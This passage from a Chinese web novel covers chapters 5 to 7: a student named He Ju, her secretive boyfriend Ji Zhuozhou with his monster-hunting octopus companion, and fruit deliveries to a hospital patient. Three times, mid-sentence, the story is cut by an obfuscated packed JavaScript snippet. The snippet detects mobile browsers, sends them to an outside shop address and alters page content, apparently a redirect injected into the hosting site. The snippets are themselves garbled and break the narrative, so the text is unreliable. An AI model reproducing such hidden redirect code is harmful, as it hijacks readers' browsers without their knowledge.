对了,纪卓洲! 她打老鼠时把挎包丢了出去,纪卓洲的家门钥匙还在里面。 何橘盯着溜冰场迟疑片刻,还是不愿下去捡包。好在玻璃挡板上贴着溜冰场的广告,她拨出角落的联系电话,在高处看见检票台旁的工作人员接通了电话。 何橘说明情况时隐去了不科学的细节。 “你是说,十分钟前在冰场内遗失了挎包?”检票员用肩膀夹住手机,“请问你的会员编号是?” “我不是会员。” “我们这里是会员制的,非会员无法入场。你确定丢在这里了吗?” 何橘加重语气试探:“我去的时候你不在。你没看见吗?刚才楼下很多老鼠,空调也出故障了……” 检票员语气满是不耐烦:“你是来捣乱的吗?请不要妨碍我工作了,后面还有排队的人。”说完啪地一声挂断电话。 正巧有一位母亲带着孩子站在何橘旁边,看起来准备参加今天的溜冰课。 女孩慢吞吞地整理着头上的护具:“妈妈,我不想去。那个姐姐说溜冰场里有老鼠。” “怎么会呢?那都是骗人的。”母亲温柔地拍拍女孩的头,“你今年已经八岁了,是个大孩子了。能够分清什么是实话,什么是谎话,对吗?” “对!”女孩骄傲地点头,“我知道,我还知道狼来了、匹诺曹和吃不到葡萄说葡萄酸。” 何橘:…… 哎,算了。无知也是一种幸福。反正也没受伤,既然无人相信,那她也装作一切从未发生好了。 钥匙没了,还可以再配。包丢了……也、也能再买。 何橘对衣服穿着没什么研究,平时上学都穿校服,衣柜里没几件外出穿的衣服。现在身上这件背带裤还是暑假新买的。 挎包应该不贵?不知道她攒下来的零花钱够不够赔一个新的。 何橘边想边朝奶茶店的方向走,鞋子底部粘到了什么东西,撕下来一看,是一张卡片。 卡片呈长方形,大小和演唱会的门票差不多,但材质硬度更接近名片,表面灰扑扑的,还有何橘刚才留下的脚印。 但在何橘触碰它的一瞬间,这张卡片仿佛被激活了一样。一道晶莹的蓝光沿着卡面凹槽流淌而过,宛若被一支无形的画笔逐笔勾勒。几秒过后,一只卡通老鼠跃然纸上。 卡牌背面浮现出几行小字。 【尘埃鼠群 发育程度:低 基质:灰尘。 构成:60%急躁/30%疲惫/10%恐惧 说明:个头不算大的鼠群,居住在你家空调管道内,你友好而亲切的邻居们。 它不会吃你的残羹剩饭,也不会乱啃衣柜板凳。因为总是把空调外机当成跑轮,所以体温很高,喜爱食用冰块制品。同时也是空调制冷能力直线下降的罪魁祸首。 ——你真的相信吗?放弃不切实际的幻想吧,你家空调只是该除尘了。】 “何橘!” 有人喊何橘的名字。 何橘一个激灵,她可不想再和怪物有任何牵扯,赶忙像扔烫手山芋那样直接把卡片扔飞出去,回头看见纪卓洲和她挥手。 两个人隔着十几米的距离,何橘刚迈开步子,纪卓洲已经跑了过来。 他的手臂修长有力,骨节分明的手掌不由分说地压在何橘肩头,眼睛垂着,仔细打量着何橘:“你还好吗?” 何橘摆摆手:“我没事。你刚才干什么去了?电话一直打不通。” 两个人终于碰头,纪卓洲解释说他在去洗手间的途中被抓去修空调,手机静音没听见声音。 这说辞听着就漏洞百出,但鉴于刚才何橘经历了更离谱的事,所以也能勉强接受。她现在只想早点回家,结束这一场荒唐的约会。 她只是又补了一句:“平时还是要多吃水果,补充膳食纤维。” 何橘语气真诚,可惜纪卓洲心不在焉,只胡乱地点头,记挂着另一件事。 粉章鱼可以对与纪卓洲接触的人类进行基本的精神感知。 “一个好消息和一个坏消息。”粉章鱼道,“我先说好消息。” “情绪稳定,无焦虑、无抑郁、无认知障碍,误入认知屏蔽领域都没事。她可真够冷静的。” 纪卓洲心头一直悬着的那把刀放下一半,在心里发问:“坏消息呢?” 粉章鱼:“我读到她的内心了,她刚才那句话的意思是怀疑你便秘。” 纪卓洲:…… 何橘看纪卓洲的眉头一会儿皱起一会儿松开一会儿打结,心里也安稳不少:还好,纪卓洲还是那个熟悉的、有点奇怪的纪卓洲。有他这副样子铺垫,她接下来要说的丢钥匙都显得正常了不少。 何橘开门见山:“我把你家钥匙弄丢了。” “但我家是电子锁?”纪卓洲一愣,随即恍然,“啊,你是说我的挎包吗?” “有个女生捡到,到处问是谁丢的,正巧被我看见拿回来。不过我来找你前,把包存在储物柜了。” 纪卓洲带着何橘往商场储物柜的方向走:“听说今天商场有活动,请了几位助演来。我遇到的那个女生就很像。” 他边说边观察何橘的表情。 “女生?”何橘用手在自己的脑门附近比划,“是不是这么高?金发穿黑裙子,袜子带网眼。” 纪卓洲脚下一绊,差点摔倒:“袜子?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048738|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么看见的,会不会……是看错了?” “没看错。”何橘不知道那种袜子的正式名,便以为纪卓洲也没见过,努力形容,“你玩过编花绳吗?那些网眼有一点像长江大桥。但更均匀点……” 何橘说第一句时纪卓洲的脸就烧起来了,长江大桥……真是长江大桥就好了! “你知道她叫什么名字吗?” 虽然不知道那个少女和奇怪生物是什么关系,但何橘已经在心里暗暗发誓,以后绝对会避着她走。甚至可以的话,这家商场也再不来了。 “我也不知道。”纪卓洲脸上的笑容有些勉强。 意料之中的回答。在等纪卓洲取挎包时,何橘抓紧时间查询本地新闻。大概那位少女真是十八线的艺人,就连出席的活动都寂寂无名,在庞大的网络洪流中寻不到一点踪迹。 纪卓洲很快背着挎包折返,手里还多了两支冰激凌甜筒。 左边是草莓味,右边是巧克力味。冰激凌球堆得稳稳当当,上面还插着蛋卷作装饰,分量十足。 纪卓洲拿着两支冰激凌甜筒在何橘眼前炫耀似地晃了晃,眼睛亮晶晶的,明显是在等待她的回应。 这眼神何橘可太熟悉了——刚才在楼梯口,那小孩乖乖戴好护具后,就是这么抬头望着她妈妈的。 “嗯……你要吃两支?” 何橘琢磨出一句夸奖:“胃口真好,吃完记得洗手。” 纪卓洲懵了:“我、我要吃两支吗?” “你不吃为什么要买两个?”对恋爱的一切认知皆源于网络、实战经验为零的何橘如此发问。 纪卓洲终于明白问题在哪,他笑了一下,肩膀放松下来,干脆地点头:“可以帮我拿一下吗?我想再去买一个。” 哇,见到冰激凌杀手了。 何橘接过来,听见纪卓洲状似随意地继续问:“你喜欢什么水果?橘子?” “嗯,但我其实更喜欢葡萄。” 何橘刚剧烈跑动过,额角还带着薄汗,却目不斜视、老老实实举着两支甜筒,模样甚至透出点乖巧。她压根没往“纪卓洲是去给她买”这个可能性上想。 毕竟甜品站门面很小,一共也只有常见的几种口味,想买也买不到。 这次纪卓洲回来得很快,手里又是两支冰激凌。 简直是铁胃,何橘暗自感慨。 他露出一点尖尖的犬牙,笑着说:“给,只有这个了。谢谢你愿意等我这么久。” 原味的冰激凌被送到何橘面前,上面撒了一些葡萄干。 何橘没接,纪卓洲便垂下眼帘,说话也放轻了声音:“收下吧,只是买三赠一的赠品。” 其实何橘不太懂纪卓洲为什么总是很快就露出这副紧张的样子,她明明没做什么特别的事。而且她两只手都被冰激凌占着,当然没办法接过他手里的那一支。 不过她还是把脑袋靠了过去,就着纪卓洲的手,低头小心地尝了一口。 “葡萄干有点硬。”她嚼了嚼,“不过冰激凌很甜。” 最后还是甜品站的店员帮忙,两人才腾出手交换了冰淇淋。吃完后时间也差不多了。纪卓洲将何橘送到离家最近的路口,看着她的背影逐渐走远。 “你不把礼物送给她吗?现在还来得及。”粉章鱼戳戳他的肩膀,“多漂亮的风铃,挑了很久的。拿挎包时的时机多好,你倒好,非要去买什么冰激凌。” 何橘低头吃冰激凌的画面在纪卓洲脑海里反复重播。他摇摇头:“只是觉得……现在送,不合适。” 粉章鱼哇了一声:“好能装。” 三十秒后,纪卓洲挂着这幅绵羊般无害的笑容,将粉章鱼丢进垃圾桶。 5. 生如虾滑 和纪卓洲结束约会的转日,何橘天没亮就醒了。 她本以为自己会做些噩梦,但并没有。昨天的事对她的影响比想象的还小,或许与那种天马行空的事比起来,还是身边的烦恼更值得她在意。 厨房传来煮水的声音。何芳烧开一锅水,下了面条,卧上三个荷包蛋,再撒上切碎的葱花。何大海盘点完库存,匆匆吃完早饭,将碗筷一撂,起身去批发市场提货。 何橘穿好衣服,小心地掀开窗帘的一角,见停在路边的面包车摇摇晃晃地开走,这才下楼洗漱吃饭。 筷子戳破蛋黄,流动的蛋液淌在面条上。何橘夹着面条吸溜,何芳伸手呼噜了一把何橘乱翘的头发:“还躲着你爸呢?” 何芳今年四十出头,长年的劳作让她的手不再细嫩,眼角也生着细纹。岁月带走了她的年轻,留给她沉淀的阅历。见何橘一心装聋保持沉默,她便拉开椅子坐下,说起另一件事。 “店里的空调昨天坏了,等会你去修修。” 何橘应了一声。 何橘一家都姓何。 父亲何大海,母亲何芳。何橘小时候听过父母的爱情故事,夫妻二人姓氏相同纯属巧合,祖上往前倒十代也挨不到一起,属于一个籍贯在北边,一个在南边。 两个外地人在青城相识,换过不少行当,吃了不少苦,最后开起这家“何记鲜果”,总算是在青城扎下了根。 何记鲜果按传统的夫妻店模式运营。 母亲坐镇店内,招揽邻里生意。父亲差不多每隔三天,就要早上到批发市场选货进货,下午给一些批量采买的老主顾和公司送水果,偶尔也接些线上订单。 现在是夏天,水果的消耗量比较大,何大海跑得勤。何橘已经有两三天没和他说上话了。 ……当然,应该也有一部分“冷战”的原因。 何橘洗好碗筷,提着仓库的工具箱到楼下的店面报到。 踩着椅子,深呼吸一口气,何橘按住卡扣,掀开挂式空调的面部挡板。 何橘拿下布满灰尘的过滤网,用十字螺丝刀拧掉固定用的螺钉,分门别类放进提前备好的小盒里防止丢失。 总控装置、导风条、外壳被一一拆卸,内部的风轮与冷凝装置暴露出来。何橘检查一遍电路板与翅片,和去年夏天清洁时一样完好无损,试电笔测试正常。 早上没多少人,何芳帮她扶着椅子:“如何?” 何橘:“没什么问题。我先清洗下滤网,装回去重新启动试试。” 装好重启后,空调顺利运行。何橘吹着冷风,想起昨天捡到的那张卡片。组成尘埃鼠群的老鼠,会不会有一只是从她家的空调里爬走的? 何芳递给何橘一碗切好的冰镇西瓜:“还好家里有你。等你上学之后,家里电器坏了都只能找人修了。” “隔壁装修店的张叔也能修。” “没你经济实惠。”何芳笑了笑,拉住何橘的一只手,温声说,“你爸不在,你和妈妈说,改专业的事你早就想清楚了吗?” “只要是你选的、决定好的,妈妈都支持你。我一直觉得你喜欢鼓捣电器这些东西,刚好你的分数报它也不浪费,这才选了电气专业。” “其实你爸也是这么想的,不过他性子比较倔,人又比较笨,脑筋还没转过弯来。” 何橘只顾闷头吃西瓜,宁愿把西瓜籽咽下去都不开口。她还没和爸妈说交往的事呢,只说昨天是和朋友出去玩,等坦白估计又是一阵腥风血雨。 何芳无可奈何。没办法,家里养了一大一小两头倔驴,调解之路任重而道远。 很快就有客人到访,何芳也忙碌起来。有个客户在网上下单了一大篮水果,要求在今天上午送到附近的安康医院。 何大海还没回来,何芳走不开,这项工作落在何橘头上。果篮用绳子捆在后座,何橘跨上何芳的电动车,盯着果盘中央的两个大榴莲。 还是带壳没拆肉的。 她同何芳确认:“真没装错吗?” “客户要的就是定制款。”何芳对这单生意很重视,网络平台的成交量和好评率都会影响推广,起步阶段最需要客户的点赞。 但也没必要急于求成,她拍了下何橘的后背:“去吧,今天不忙,送完以后在外面多玩会儿也没事。” 一路畅通。 收货人是个戴眼镜的女生,何橘到医院门口的时候,她正举着电话与人吵架。 “丑?不吃?我订的是水果,想要花圈自己下单好吗。”戴眼镜的女生语速快得像机关枪,“你消停点对大家都好,再过三周就开学了……” 何橘识趣地把电瓶车停在一旁,边等边给纪卓洲发消息。 这也是她在网上看来的,谈恋爱时需要经常给对方发消息联络感情。 何橘:【你去医院探望病人会带榴莲吗?】 纪卓洲回得很快:【你家里有人生病了吗?】 何橘继续问:【如果有人用我送来的榴莲壳攻击他人,我会因为提供凶器被抓起来吗?】 纪卓洲:【???】 看来纪卓洲是理解不了她的担忧了。 何橘:【没事。】 纪卓洲:【对了,你看班群了吗?班长说要在开学前聚会,你去吗?】 何橘:【不去。】 何橘:【先下了。】 正巧客户那边也以一句“你以为我愿意管你吗?顾书文,你最好就拖着你那条伤腿在医院里看一辈子动画片!”将电话撂下。 何橘收起手机,迎了上去:“请问是‘生如虾滑’女士吗?” 虾滑女士顿了顿,如果是刚才她还是一块在沸水里滚过一圈的虾滑,现在便是已成功上岸、冷静装盘的成品。 “啊,是的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048739|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你见笑了。”虾滑女士优雅地将碎发拢到耳后,端庄沉稳得与刚才判若两人。 她微笑着:“能麻烦你帮忙把果盘送到骨科809吗?再帮我问问他几号回来上学。我临时有事得先走,配送费我会多给一些的。” 听起来还算划算,而且也不会有协助犯罪的风险了。 “可以。”何橘点头,“不过医院管得严,我们加个联系方式吧,你把收货人基本信息发我一下。” 何橘提着果篮进入安康医院,她生病时来过几次,所以对医院还算熟悉,顺着指示牌就找到了骨科的住院部。护士见她提着果篮,登记后问了几句,便让人带她进去了。 骨科住院部没多少人。俗话说伤筋动骨一百天,情况稳定的患者都是回家慢慢养伤,能够住院的大多是刚做完手术留院观察的。 809室有六张床,只住了两位病人。 年纪大点的二十岁左右,一条腿打着厚厚的石膏,被吊在半空。头发已经快和何橘一样长了,忧伤的神色配上苍白的肤色,让他看起来像一棵许久不见日光的植物,萎靡不振地躺在床上。 另一个小男孩则至多十岁,他的左胳膊上了夹板,裹着绷带,右胳膊则吃力扒着床沿,涨得脸都红了。即使这样也要探出半个身子,看青年手里的平板。 于是青年微微侧身,与男孩分享病房内为数不多的乐趣。两个人用只有彼此能听到的声音小声交流,很快青年的脸上便浮现出一抹淡淡的笑容。 平板在放动画片,红色黄色蓝色的光效糊成一片,一位线条比周围角色精致许多的少女在七彩炫光中变身,大声喊到:“勇敢的少女梅可可闪亮登场!勇敢形态!” 何橘进门时,看到的就是这副其乐融融的温馨场面。 顾书文,21岁,腿部受伤骨折住院,分配床位6号,应该就是青年了。 看着是个挺好相处的人啊,何橘想,还为了小朋友放适合他观看的动画片。 “干什么呢?干什么呢!”护士雷厉风行地走到床边,一把拿走了顾书文的平板,“说了多少次别抢孩子的东西!小颖,乖啊,没事,护士姐姐帮你拿回来了,快去学习吧。” 男孩眼含泪光,如获至宝,小心翼翼地瞄了一眼顾书文,紧接着拿着平板飞一般地躲到最远的一号床上,开始背单词。 “我上了十年班,还是第一次遇到骨折了还能这么折腾的患者。”护士小声和何橘告状,“这还青城大学的大学生呢,天天欺负小朋友算什么本事?” 青城大学预备役何橘表示有被骂到。 “你也说说他,让他安分点。我先走了,有事按呼叫铃。” 何橘看着护士的背影,她也想先走了。 “你是谁?” 顾书文看着何橘,忧伤地叹了口气:“唉,都怪你。如果你再晚来三分钟,我就能看完这集了。” 6. 果篮派送 第六章 何橘提起果篮:“你朋友托我送来的。” 两个金枕榴莲,外带一圈苹果、石榴,少说也有十三四斤。但何橘脸不红气不喘,果篮稳稳当当地落在床头柜上。 尽管裹了保鲜膜,榴莲那股独特的气息还是顽强地钻了出来。 顾书文捏着鼻子:“好臭。” 何橘权当没听见:“她还让我问你,打算什么时候回学校。” “原来你是韩萌派来的探子。” 顾书文像只失去了梦想的咸鱼般在床上扑腾了两下,裹着石膏的腿一动不动,“我好不了的。看不到魔法少女梅可可的最后一集,我整个人都不好了。” “你为什么不拿自己的手机看?”何橘不明白。 顾书文的特长就是自来熟,和谁都能戏精上身,随口胡诌两句。他从枕头底下摸出一个学生手机,能看视频和聊天的APP全锁了,只余下最基础的通话和短信功能,连个摄像头都没有。 “瞧见没?这是韩萌——就是点果篮的那个人给我准备的。她表姐是我的辅导员,官威大得很,和我父母合起伙来限制我的人身自由,还派她来管着我。” “不过嘛,人我刚才气走了,现在又自由了。”顾书文嘟囔两句,心情瞬间雨过天晴,快乐地一拍手,“别聊这些扫兴的事了,我们来聊魔法少女吧?” “你还没告诉我什么时候去上学。” “你陪我聊天就告诉你。” 大意了,原来所谓的配送费竟然还包括陪聊费吗? 虽然下午确实还没有安排,但何橘也没打算把时间浪费在这里。她发消息控诉虾滑女士的文字陷阱,很快得到了回复。 生如虾滑:【已好评,不用管他。】 生如虾滑:【向你转账XX元。】 何橘心情大好,收起手机往门走:“不打扰了,你好好休息。” 顾书文慌忙拍了下床铺:“诶,你去哪?你别走啊!” 他手机被限制,什么娱乐活动都没有,同病房的小孩只会一个劲儿地背英语单词,天天无聊极了,因此挽留得格外情真意切。 何橘出门了还能听见他哀怨的喊声:“回来!喂——你会回来的!” 晌午的太阳很足,些微的风吹不散暑气。 这个时间,何大海应该进货回来了,但何橘不太想立刻回家,她在周围徘徊一阵,随便吃了点东西,最后带着点怀念的心思去了经常去的图书馆分馆。等大学开学后住校,她应该会有很长一段时间不会再来了。 可惜事与愿违。 分馆的玻璃门上赫然贴着一张告示。 尊敬的各位读者: 依照本馆的管理条例,因我馆空调设备损坏,青城市图书馆经纬路分馆将于8月14日(周四)起临时关闭,8月18日(周一)恢复正式运营。给您带来不便,敬请谅解。 何橘看了一眼手机上的日期,今天就是8月14日。如果昨天发现损坏,那么今天张贴公告检修,从流程上说是对得上的。 怎么会这么巧? 何橘想起那张被她捡了又丢的卡片,上面的描述与她在地下遭遇的巨鼠一致。 虽然事后没有人看到那只老鼠,也没有任何的新闻报道,但那只被分类为尘埃鼠群的生物确实对她的现实生活造成了一些影响。 别想了。她甩甩脑袋,把乱七八糟的想法丢到一旁。总之得先找个有空调的地方待着。这大太阳底下,多站一秒都是酷刑。 时间就这么一份一秒地消磨。 录取结果发下来,何橘同家里大吵一架。明明那天严厉训斥何橘的是何母,劝架的是何父。但事情到了第二天,何父何母两个人的态度却逆转过来:何大海同何橘冷战,何芳成了中间的调解人。 到了现在,父女俩互相躲着对方这件事,已成为心照不宣的默契。 一、三、五何橘去图书馆,二、四、六何大海操持进货,周日则各自关门大睡,互不打扰。 昨天何橘和纪卓洲约会,也算托了这‘冷战’的福,没被家里人追问去向。 不过,既看不了书又独自一人的时间,到底有些难熬。 何橘久违地点开了班群。 这个在毕业后沉寂过一段时间的群聊,因为即将到来的同学聚会重新变得热闹起来。 班长高欣正在一个个统计能到场的同学,以便提前订桌。如何橘所料想的那样,除了几个在外地旅游回不来的,大部分同学都选择了参与。 没表态的只剩几个人,何橘和纪卓洲的名字都在名单上。 高欣:【有人能联络到纪卓洲吗?】 陈杰轩:【卓洲应该是忘了填表,他肯定来的,餐费我先帮他垫上了。】 赵倩:【他这么忙吗?考上青大就是不一样。】 陈杰轩:【谁知道他在干什么,叫他出来打球也不来。】 高欣:【行,那我先记上。下一个,何橘来吗?】 班群里安静了几分钟,最后还是陈杰轩出来说话:【她……应该不会来吧。从没见过她参加班级活动,都没有问的必要。我们连她去了哪个大学都不知道。】 高欣:【她去了青大。】 陈杰轩:【班长你怎么知道的?】 赵倩:【你瞎啊?班主任转到群里的喜报你都不看,全校第一!】 陈杰轩:【哈!你以为我是谁?】 陈杰轩:【有班主任的群我一毕业就屏蔽了!】 下面又是一些表情包斗图比拼和吹水言论,间或夹杂着几条班长的询问。纪卓洲的回复姗姗来迟。 纪卓洲:【回复晚了,我最近在打工,没怎么看群。】 纪卓洲:【班长你先把我记上吧,我来得及就去!】 陈杰轩一直在水群:【你还需要打工吗?在哪?我要吃朋友暑假工版之超大份报恩薯条。】 纪卓洲:【是医院的义工。你来的话我能给你倒报恩白开水。】 高欣:【加油。】 后面纪卓洲就没再发过消息。 他虽然问了何橘去不去同学聚会,但没有帮何橘回答班长的问题。看起来也没有把交往的事告诉班里其他同学。 保密工作很到位,值得表扬。 和纪卓洲交往对何橘原先的生活几乎没有任何影响,他既不过分热情,也不刻意疏远,更不干涉她的任何决定。从这点看,纪卓洲真是一个再好不过的交往对象。 但不是所有的人际交往都这样。 第二天,何记鲜果又接到一笔订单。熟悉的差事,熟悉的地点,熟悉的收货人。 护士带何橘进去时,还夸了夸顾书文昨天很安分,就是榴莲这类水果不要再带进来了。然后告诉依旧缩在角落里发奋图强的小男孩,等会儿会有工作人员来帮他洗头。 小颖很乖地点了点头。他的平板放在床头柜上,昨天家里人来探望,又给他捎来了几本新书。 何橘看了一眼。 《电路原理》、《模拟电子技术基础》、《数字电子技术基础》。 ……这孩子是不是学得有点太快了?昨天还在abandon,今天已经到electric power的境界了。 与此同时,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048740|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值大好奋斗年华的顾书文躺在床上,哀戚地摸着自己的右腿,用冷宫弃妃般的幽怨口吻说:“你终于又愿意见我了。” 生意,都是生意。何橘把果篮往地上一放——没办法,床头柜上还摆着她昨天带来的果篮呢,放不下。 她想叹气,但怎么能对顾客叹气呢?于是何橘只能憋了回去:“你是怎么知道订购电话的?” “果篮底下贴着的。”顾书文拍拍床褥,“来吧,我们聊聊魔法少女。” 顾书文说的《魔法少女梅可可》是一部正在播出的全年龄向动画片。 动画的主人公是一位名为梅可可的小女孩,她学习成绩普通,也没有出众的艺术才能,在学校里活得像个透明人。一天放学后,她与从天而降的吉祥物兔兔邂逅,开始了化身魔法少女,与怪兽对抗的、波澜壮阔的新生活。 顾书文面露期盼:“你明白这部动画的伟大之处了吗?” 何橘答得斩钉截铁:“没有。” “没关系,我能理解。很多事情都只有亲身经历才能明白其中的美妙。”顾书文善解人意地说,“你把手机拿出来,我们一起看。” 何橘:“我不想看。你为什么非得缠着我?” “我也不想,但这手机是韩萌找来的,里面一个电话号都没存。”顾书文撇撇嘴,“你也不亏,我给你开会员!年卡!” 何橘:“不需要,你把单子签了我就走了。” 顾书文有的是手段:“那你走吧,我等会再订一个果篮,记得再来啊。” 何橘抹了把汗,这大热天的,谁乐意陪他玩?又不是刷单。只好认命地找了个凳子坐下,听顾书文如数家珍地介绍起他的宝贝动画片。 顾书文放缓语速时声音平稳,字字清晰,带着一点播音腔的感觉。 他倒真会讲故事。不是干巴巴的“魔法少女受伤、被鼓励、然后打败怪兽”,而是从梅可可的孤独讲起,讲她缺少什么,渴望什么,而那只从天而降的兔子,又能给她什么。 “其实我一开始只把《魔法少女梅可可》当做一部打发时间的低龄动画片看。” 顾书文的指尖缠绕着自己的发尾,午后的日光将他苍白的肤色染上一点点健康的麦黄。 何橘左耳进右耳出,她悄悄打了个哈欠,为了防止自己真的睡着,她开始给顾书文削苹果。 手指抵住刀柄,刀刃贴着苹果缓缓转动。削下的果皮拉成长长薄薄的一条,轻盈地垂挂下来。 “但当我看到第二十六集时,梅可可和摄像机变成的怪物打架,终于意识到了……啊,苹果皮削厚点,我不爱吃苹果。” 自己点的水果还不爱吃,真难伺候。何橘想,纪卓洲才不会有这么多要求。 “已经削好了。”何橘把苹果递过去。 “我够不到。”顾书文理直气壮。 “……你到底是腿骨折了还是胳膊骨折了?” 叩叩。 809病房的门被敲响,护士提到的那位工作人员走了进来。 他抱着一盆洗护用品,腾不出手,只能用脚后跟轻轻把门带上。 胸前摇晃的工牌上用签字笔写着他的名字。 ——纪卓洲。 “高颖小朋友在吗?” 纪卓洲抬起头,然后呆住了。 远处病床旁边站着的人好眼熟。 一双乌黑的眼眸清冷疏离,披肩发利落地扎起。 那是他女朋友啊! 她女朋友正在给一个年轻俊俏但一看就不正经的男生喂苹果! 纪卓洲声音颤抖:“你、你在让何橘干什么!” 7. 种子纸 纪卓洲潜伏进安康医院刚好两天。 和何橘约会完前后脚的事。 粉章鱼告诉纪卓洲安康医院里潜伏着一只即将孵化的怪兽,纪卓洲便报名了志愿者,打算利用身份的便利提前来找一找怪兽的位置。 事实上,纪卓洲和何橘约会遇到的尘埃鼠群纯属意外,医院里的怪兽才是粉章鱼给纪卓洲安排的新手任务。 找到一个愿意签订契约的适格者不容易,也不能不顾对方死活,直接把人往怪兽眼前送——那和送菜有什么区别? 按照怪兽的发育程度将怪兽分为不同等级,再依照分级逐渐加大难度才是优秀引导者的使命。 安康医院里的怪兽刚刚好。 在怪兽汲取人类的情绪孵化前,它们会以卵的状态短暂地存在三维世界与四维世界的夹缝中,只有被引导者选中的人或者与它的波长相契合的人才能看见它。 就如同猪笼草会释放甜味诱捕昆虫,怪兽的卵也会引导人类靠近,并通过煽动人类的情绪积攒破壳而出的能量。 "怪兽对人的影响是很可怕的。"粉章鱼语重心长地说,“情绪的紊乱就像一场突然到来的台风,你觉得自己可以控制它,只是因为你恰巧处在平静的台风眼。” “当你想要做出改变时,只要迈错一步,身体就会被汹涌而至的情绪裹挟。而最为恐怖的是,你甚至不知道自己会被吹到哪里。” “有太多的人类在情绪的驱动下做出无可挽回的事情。魔法少女的存在阻止不了情绪的诞生,但至少要让那些情绪属于人类自己。” 粉章鱼只能在怪兽卵临近孵化前感知到大概的方位,而纪卓洲要做的就是赶在怪兽卵彻底孵化前,找到它,封印它。 时间紧,任务重。粉章鱼仗着没人能看见自己,去了医院的另一边探索。纪卓洲则借用志愿者的身份,在各个科室内转圈。 纪卓洲清了清嗓子,视线在顾书文和何橘之间游移:“你们这是在……是朋友?” “没,不认识。” 何橘闪电般松开苹果,把手背到身后,脸不红气不喘,无辜道:“只是关怀一下老弱病残的客户群体。” 被突然塞了一大口苹果的顾书文呛得直咳,刚才何橘那力道,简直像要把他门牙磕下来:“轻、轻点……你不能谋杀啊!” 纪卓洲眼睛一瞥就看见床头打开的果篮,里面两个大榴莲已经被护士处理了,但这并不妨碍纪卓洲脑补。 他脑子里的警报一下子拉响了。 大前提是怪兽会影响人类情绪,间接导致行为反常。 小前提是何橘是人类,且昨天还给他发过奇怪短信。 【你去医院探望病人会带榴莲吗?】 【我会因为提供凶器被抓起来吗?】 这两个问题太可怕了。 粉章鱼说过,曾经受到怪兽影响的人本身就容易与怪兽同频,即便摆脱了怪兽的控制,也有可能随着时间的流逝,让原本存在的认知屏障变得稀薄。 所以纪卓洲得到的结论是,何橘完全有可能被怪兽二次影响了!现在正被迫伺候顾书文,并对这个人怀有强烈的敌意。 如果能读取思维的粉章鱼在这里,它一定会为纪卓洲拍手叫好:过程全错,结果全对。 妙啊! 对待被怪兽影响的人要温柔,不能刺激到她。 纪卓洲笑笑:“这样啊。” “嗯嗯。”何橘也跟着心虚附和,她真的是在照顾病人。 绝对!没有!与客人发生肢体冲突! 顾书文咳了几声,见那两人假模假样地寒暄,谁也没理他,只好讪讪地嚼着苹果:“你们认识啊。” 他总觉得这新来的工作人员表情不对劲,皮笑肉不笑的,偶尔瞥过来的眼神,活像在看什么洪水猛兽。 明明年龄相仿,说话却这么客气,以顾书文的经验看,新来的工作人员应该是社交恐惧症没跑了。 俗话说,内向的人是外向的人的玩具。 顾书文向来把这句话践行地很好,特别是闲得发慌的时候。他就喜欢做两件事,一是凑热闹,二是添麻烦。 等纪卓洲帮胳膊骨折的高颖小朋友擦干头发时,顾书文熟络地问:“你会理发吗?” 顺滑的黑发搭在顾书文的肩膀上,他随意地抓了抓:“我想剃个光头。” 何橘开始剥石榴,就当是在自己家里干活时旁边摆了一个能对话的收音机。平常人最多自己给自己剪个刘海,哪会理发啊?还光头,她看顾书文就是想把纪卓洲也拖下水陪他聊天。 不能让受害者再增加了。 但纪卓洲竟然答应下来,还让何橘帮他去外面借理发工具,他趁这段时间把顾书文抱到轮椅上。理发还是得坐着理。 何橘很怀疑是不是纪卓洲乐于助人的老毛病又犯了。 “纪卓洲是在做志愿活动,你不要给他添麻烦。”何橘把最后几个晶莹剔透的石榴籽剥到手心,拍拍手站起来,“他今天下午还有同学聚会,没空陪你玩。” “没事,我也帮家里人推过头发,不麻烦。”纪卓洲并不在意顾书文的纠缠,放着何橘一直和顾书文相处才麻烦,“下午的同学聚会你真的不去吗?班长说联络不上你,还在群里问其他同学你是不是换号了。” “班长?我没看到啊?”何橘困惑地掏出手机,划拉屏幕,终于看到一个设定为消息不提醒的头像在持续煽动。 消息拉到最上面,最早一条是两周前发来的。 高欣:【青大的电气系录取名单里没有你?你没报青大吗?】 高欣:【我看见班主任发的消息了。你为什么放着分数线最高的电气自动化不去选了食品工程?】 高欣:【故意让给我吗?!】 哦,想起来了,录取结果下来后何橘忙的焦头烂额。不但要应付父母,还要照着网络教程准备和纪卓洲交往,忙得很,顺手就把班长屏蔽了。 食品工程怎么了!为什么每个人都抓着她弃工从食不放? 民以食为天,我们食品工程也是很厉害的! 